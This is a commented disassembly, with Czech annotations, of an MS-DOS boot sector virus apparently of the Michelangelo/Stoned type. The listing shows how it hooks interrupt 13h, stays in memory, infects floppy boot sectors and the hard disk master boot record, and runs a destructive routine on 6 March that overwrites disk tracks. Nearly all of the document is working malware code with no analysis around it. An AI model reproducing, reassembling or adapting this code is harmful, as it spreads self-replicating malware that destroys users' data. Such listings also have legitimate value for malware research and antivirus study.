7C00 E9AC00 JMP 7CAF
7C03 DW 00F5 ; Pokracovani viru offset DW ? ; segment 7C07 DB 02 7C08 DW ? ; Sektor s boot sektorem 7C0A DD ? ; Puvodni obsluha preruseni 13H
;========================================================================= ; Nova obsluha preruseni 13H. ; 000E 1E PUSH DS 000F 50 PUSH AX 0010 0AD2 OR DL,DL ; Cislo disku 0012 751B JNZ 002F 0014 33C0 XOR AX,AX 0016 8ED8 MOV DS,AX 0018 F6063F0401 TEST Byte Ptr [043F],01 ; Test na disketu 001D 7510 JNZ 002F 001F 58 POP AX 0020 1F POP DS 0021 9C PUSHF 0022 2EFF1E0A00 CALL FAR CS:[000A] 0027 9C PUSHF 0028 E80B00 CALL 0036 002B 9D POPF 002C CA0200 RETF 0002 002F 58 POP AX 0030 1F POP DS 0031 2EFF2E0A00 JMP FAR CS:[000A] ;------------------------------------------------------------------------- 0036 50 PUSH AX 0037 53 PUSH BX 0038 51 PUSH CX 0039 52 PUSH DX 003A 1E PUSH DS 003B 06 PUSH ES 003C 56 PUSH SI 003D 57 PUSH DI 003E 0E PUSH CS 003F 1F POP DS 0040 0E PUSH CS 0041 07 POP ES 0042 BE0400 MOV SI,0004 0045 B80102 MOV AX,0201 0048 BB0002 MOV BX,0200 004B B90100 MOV CX,0001 004E 33D2 XOR DX,DX 0050 9C PUSHF 0051 FF1E0A00 CALL FAR [000A] 0055 730C JNB 0063 0057 33C0 XOR AX,AX 0059 9C PUSHF 005A FF1E0A00 CALL FAR [000A] 005E 4E DEC SI 005F 75E4 JNZ 0045 0061 EB43 JMP 00A6 0063 33F6 XOR SI,SI 0065 FC CLD 0066 AD LODSW 0067 3B07 CMP AX,[BX] 0069 7506 JNZ 0071 006B AD LODSW 006C 3B4702 CMP AX,[BX+02] 006F 7435 JZ 00A6 0071 B80103 MOV AX,0301 0074 B601 MOV DH,01 0076 B103 MOV CL,03 0078 807F15FD CMP Byte Ptr [BX+15],FD ; MEDIA DESCRIPTOR 007C 7402 JZ 0080 ; FD ds 9 sect 007E B10E MOV CL,0E 0080 890E0800 MOV [0008],CX 0084 9C PUSHF 0085 FF1E0A00 CALL FAR [000A] 0089 721B JB 00A6 008B BEBE03 MOV SI,03BE 008E BFBE01 MOV DI,01BE 0091 B92100 MOV CX,0021 0094 FC CLD 0095 F3 REPZ 0096 A5 MOVSW 0097 B80103 MOV AX,0301 009A 33DB XOR BX,BX 009C B90100 MOV CX,0001 009F 33D2 XOR DX,DX 00A1 9C PUSHF 00A2 FF1E0A00 CALL FAR [000A] 00A6 5F POP DI 00A7 5E POP SI 00A8 07 POP ES 00A9 1F POP DS 00AA 5A POP DX 00AB 59 POP CX 00AC 5B POP BX 00AD 58 POP AX 00AE C3 RET ;========================================================================= ; START VIRU. ; 7CAF 33C0 XOR AX,AX 7CB1 8ED8 MOV DS,AX 7CB3 FA CLI 7CB4 8ED0 MOV SS,AX 7CB6 B8007C MOV AX,7C00 7CB9 8BE0 MOV SP,AX 7CBB FB STI 7CBC 1E PUSH DS 7CBD 50 PUSH AX 7CBE A14C00 MOV AX,[004C] ; Precteni preruseni 13H. 7CC1 A30A7C MOV [7C0A],AX ; 7CC4 A14E00 MOV AX,[004E] ; 7CC7 A30C7C MOV [7C0C],AX ; 7CCA A11304 MOV AX,[0413] ; Velikost pameti v KByte 7CCD 48 DEC AX ; zmensime o 2 KByte. 7CCE 48 DEC AX ; 7CCF A31304 MOV [0413],AX ; 7CD2 B106 MOV CL,06 ; Prepocteme na paragrafy 7CD4 D3E0 SHL AX,CL 7CD6 8EC0 MOV ES,AX 7CD8 A3057C MOV [7C05],AX 7CDB B80E00 MOV AX,000E ; Nova obsluha 13H je od 7CDE A34C00 MOV [004C],AX ; 0E 7CE1 8C064E00 MOV [004E],ES 7CE5 B9BE01 MOV CX,01BE ; Preneseme 1BE byte nahoru 7CE8 BE007C MOV SI,7C00 ; do pameti. 7CEB 33FF XOR DI,DI 7CED FC CLD 7CEE F3 REPZ 7CEF A4 MOVSB 7CF0 2EFF2E037C JMP FAR CS:[7C03]
7CF5 33C0 XOR AX,AX ; Reset disku/diskety 7CF7 8EC0 MOV ES,AX 7CF9 CD13 INT 13 ;---------------------------------- 7CFB 0E PUSH CS 7CFC 1F POP DS 7CFD B80102 MOV AX,0201 ; Zde nacitame BOOT sektor. 7D00 BB007C MOV BX,7C00 ; 7D03 8B0E0800 MOV CX,[0008] ; 7D07 83F907 CMP CX,+07 ; 7D0A 7507 JNZ 7D13 7D0C BA8000 MOV DX,0080 7D0F CD13 INT 13 7D11 EB2B JMP 7D3E 7D13 8B0E0800 MOV CX,[0008] 7D17 BA0001 MOV DX,0100 7D1A CD13 INT 13 7D1C 7220 JB 7D3E 7D1E 0E PUSH CS 7D1F 07 POP ES 7D20 B80102 MOV AX,0201 ; Nacteme BOOT disku. 7D23 BB0002 MOV BX,0200 7D26 B90100 MOV CX,0001 7D29 BA8000 MOV DX,0080 7D2C CD13 INT 13 7D2E 720E JB 7D3E 7D30 33F6 XOR SI,SI ; Porovname prvni 4 byte. 7D32 FC CLD ; 7D33 AD LODSW ; 7D34 3B07 CMP AX,[BX] ; 7D36 754F JNZ 7D87 ; 7D38 AD LODSW ; 7D39 3B4702 CMP AX,[BX+02] ; Pokud disk neni napaden, odskok 7D3C 7549 JNZ 7D87 ;--------------------------------- 7D3E 33C9 XOR CX,CX 7D40 B404 MOV AH,04 ; Cti systemovy cas. 7D42 CD1A INT 1A ; 7D44 81FA0603 CMP DX,0306 ; 6. brezna provadi destrukci 7D48 7401 JZ 7D4B 7D4A CB RETF 7D4B 33D2 XOR DX,DX 7D4D B90100 MOV CX,0001 7D50 B80903 MOV AX,0309 7D53 8B360800 MOV SI,[0008] 7D57 83FE03 CMP SI,+03 7D5A 7410 JZ 7D6C 7D5C B00E MOV AL,0E 7D5E 83FE0E CMP SI,+0E 7D61 7409 JZ 7D6C 7D63 B280 MOV DL,80 7D65 C606070004 MOV Byte Ptr [0007],04 7D6A B011 MOV AL,11 7D6C BB0050 MOV BX,5000 7D6F 8EC3 MOV ES,BX 7D71 CD13 INT 13 7D73 7304 JNB 7D79 7D75 32E4 XOR AH,AH 7D77 CD13 INT 13 7D79 FEC6 INC DH 7D7B 3A360700 CMP DH,[0007] ; Pocet hlav. 7D7F 72CF JB 7D50 7D81 32F6 XOR DH,DH 7D83 FEC5 INC CH 7D85 EBC9 JMP 7D50 ;------------------------------------------------------------------------- 7D87 B90700 MOV CX,0007 7D8A 890E0800 MOV [0008],CX 7D8E B80103 MOV AX,0301 7D91 BA8000 MOV DX,0080 7D94 CD13 INT 13 7D96 72A6 JB 7D3E 7D98 BEBE03 MOV SI,03BE 7D9B BFBE01 MOV DI,01BE 7D9E B92100 MOV CX,0021 7DA1 F3 REPZ 7DA2 A5 MOVSW 7DA3 B80103 MOV AX,0301 7DA6 33DB XOR BX,BX 7DA8 FEC1 INC CL 7DAA CD13 INT 13 7DAC EB90 JMP 7D3E
7DB0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 64 20 ..............d 7DC0 70 72 65 73 73 20 61 6E-79 20 6B 65 79 20 77 68 press any key wh 7DD0 65 6E 20 72 65 61 64 79-0D 0A 00 49 4F 20 20 20 en ready...IO 7DE0 20 20 20 53 59 53 4D 53-44 4F 53 20 20 20 53 59 SYSMSDOS SY 7DF0 53 00 00 00 00 00 00 00-00 00 00 00 00 00 55 AA S.............U*
-----------------------------------------------------------------------------